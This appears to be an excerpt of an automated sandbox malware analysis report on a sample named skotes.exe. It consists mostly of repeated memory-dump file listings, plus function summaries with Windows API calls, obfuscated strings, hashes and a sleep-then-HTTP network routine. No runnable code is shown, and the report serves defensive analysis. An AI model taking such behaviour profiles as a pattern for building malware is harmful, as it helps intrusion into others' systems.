Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 7b148c2b003a97e8dea58f50b479de28e2281468cc8c79e687fd16a7839bb334
Instruction ID: 6b5e46f16925be7a7e3cb63c6c2965e6b8f67c98710171b3e1068cc5c0adc39c
Opcode Fuzzy Hash: 7b148c2b003a97e8dea58f50b479de28e2281468cc8c79e687fd16a7839bb334
Instruction Fuzzy Hash: 8FA1E0B0A05305AFDB20DF75C844B6AB7B8FF59325F148269E815D7281EB31EA08CBD1

Function 0097CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0097CC66

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: efadfe54c9e70b0d6dc0c27bab602e9d9424d9b8d8426a3eaf09d19e8736dcc4
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 9CB137B39046459FDB21CF68C8817AEBBE9EF45340F18C56EE859EB382D6348D01CB60

Function 0095BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0095BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0095BBE4
_xtime_get.LIBCPMT ref: 0095BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0095BC13

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 67091ba3a43bf9a7d588eac261f2df8d20bc0bd5184da166b79394992e8c6d46
Instruction ID: a4d71d05d3e12cae4f0cac9860085e9e1e5c752bbe8618d145e928219d794e50
Opcode Fuzzy Hash: 67091ba3a43bf9a7d588eac261f2df8d20bc0bd5184da166b79394992e8c6d46
Instruction Fuzzy Hash: DE2162B1A00219AFDF00EFA9DC85ABEB7B9EF48711F100055FD01B7251DB74AD059BA0

Analysis Process: skotes.exePID: 3524, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15%
Total number of Nodes:	554
Total number of Limit Nodes:	59

Executed Functions

Function 009465E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00946680

Strings

ISNmfV==, xrefs: 009467D1
GSTmfV==, xrefs: 00946728
RySfdMLx, xrefs: 0094669C

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: a2b075fbe8ae12629a1458344a66aa72d98b41dcb479a3786fb31b5fa25c9282
Instruction ID: ba86c4a2b7fd6031a0e0e5110b4e8f7b40cdf40fdaa12844ca28bd8f38dcd2af
Opcode Fuzzy Hash: a2b075fbe8ae12629a1458344a66aa72d98b41dcb479a3786fb31b5fa25c9282
Instruction Fuzzy Hash: 3C91B2F19001189BDB28DB28CC85FDDB779EB86304F4045E9E51997282DB719BC8CFA5

Function 00982517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,00996758), ref: 0098275C

Strings

Eastern Standard Time, xrefs: 009827CB
Eastern Summer Time, xrefs: 009827FA

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 5e052886cefc329696f320a411f0326a7a3debb5e98031169e5abb2ced2ff52c
Instruction ID: 1deac773bddc4ba51bc30f21578ccbf2cb04587a171199883e5196796793a39b
Opcode Fuzzy Hash: 5e052886cefc329696f320a411f0326a7a3debb5e98031169e5abb2ced2ff52c
Instruction Fuzzy Hash: B8C13871A042059FDB20BF68CC45BAE7BBCEF86310F2844AAE895D7391E7349E41C790

Function 0094BE30 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000005DC,D87A5264,?,00000000), ref: 0094BEB8
InternetOpenW.WININET(00998DC8,00000000,00000000,00000000,00000000), ref: 0094BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0094BEEC
HttpSendRequestA.WININET(?,00000000), ref: 0094BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0094C0A8
InternetCloseHandle.WININET(?), ref: 0094C187
InternetCloseHandle.WININET(?), ref: 0094C18F
InternetCloseHandle.WININET(?), ref: 0094C197

Strings

stoi argument out of range, xrefs: 0094E4EA
8HJUeIfzLo==, xrefs: 0094C3CB, 0094C623
invalid stoi argument, xrefs: 0094E4F4
8HJUeMD Lq5=, xrefs: 0094C465
RE1NXF==, xrefs: 0094BF0E

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
